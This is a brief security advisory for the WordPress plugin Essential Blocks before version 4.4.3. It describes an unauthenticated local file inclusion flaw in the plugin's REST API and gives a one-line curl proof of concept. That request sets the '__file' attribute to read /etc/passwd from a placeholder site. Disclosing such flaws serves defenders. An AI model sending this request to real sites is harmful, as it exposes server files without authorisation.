Essential Blocks < 4.4.3 - Unauthenticated Local File Inclusion

Description The plugin does not prevent unauthenticated attackers from overwriting local variables when rendering templates over the REST API, which may lead to Local File Inclusion attacks.

PoC

curl --url ‘http://vulnerable-site.tld/wp-json/essential-blocks/v1/queries?block_type=nonexisting_block&amp;query;_data={“source”%3A+“post”}&amp;attributes;={“__file”%3A+“%2Fetc%2Fpasswd”}’